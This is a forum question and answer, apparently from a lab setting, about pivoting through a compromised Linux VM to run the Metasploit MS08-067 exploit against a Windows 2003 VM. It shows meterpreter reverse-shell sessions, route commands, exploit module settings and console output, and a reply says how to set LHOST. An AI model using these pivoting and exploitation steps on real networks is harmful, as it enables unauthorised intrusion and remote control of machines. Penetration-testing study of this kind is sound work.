I am trying to exploit a Windows VM on a different subnet behind a dual home Linux VM where I already have a shell. To keep it simple, I have a meterpreter reverse_tcp shell on the Linux VM ( and the Windows VM ( is 2003 and vulnerable to MS08-067 (I tested this directly). Lastly, the Linux VM can definitely hit the SMB service on the Windows VM.

ubuntu:~$ ip -o addr show | grep -o '' && nc -nvv 445
Connection to 445 port [tcp/*] succeeded!

The meterpreter reverse_tcp shell on the Linux VM connects back on port 5555 so there is not a conflict with port number.

[*] Sending stage (826872 bytes) to
[*] Meterpreter session 2 opened ( -> at 2017-10-08 11:21:30 -0500

msf exploit(handler) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > route add 2
[*] Route added
msf exploit(ms08_067_netapi) > route

IPv4 Active Routing Table

   Subnet             Netmask            Gateway
   ------             -------            -------      Session 2

[*] There are currently no IPv6 routes defined.
msf exploit(ms08_067_netapi) > set RHOST
msf exploit(ms08_067_netapi) > exploit 

[*] Started reverse TCP handler on 
[*] - Automatically detecting the target...
[*] - Fingerprint: Windows 2003 R2 - Service Pack 2 - lang:Unknown
[*] - We could not detect the language pack, defaulting to English
[*] - Selected Target: Windows 2003 SP2 English (NX)
[*] - Attempting to trigger the vulnerability...
[*] Exploit completed, but no session was created.

Additionally I gave this a run with LHOST as well as LHOST (the .128 subnet address of the Linux VM), but no shell there either. What am I missing?

I have also tried doing this manually through SSH port forward as seen in https://highon.coffee/blog/ssh-meterpreter-pivoting-techniques/ and ended up with the same result. The exploit hits the Windows VM but no session is opened.

These are the main posts I have been referencing.

  1. http://carnal0wnage.attackresearch.com/2007/09/using-metasploit-to-pivot-through_06.html
  2. https://pentest.blog/explore-hidden-networks-with-double-pivoting/
  3. http://www.whitelist1.com/2016/06/metasploit-double-pivoting.html

When using tunneling via meterpreter routes in Metasploit your lhost will become your first target.

So in this case your LHOST should be set to:

Try that.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.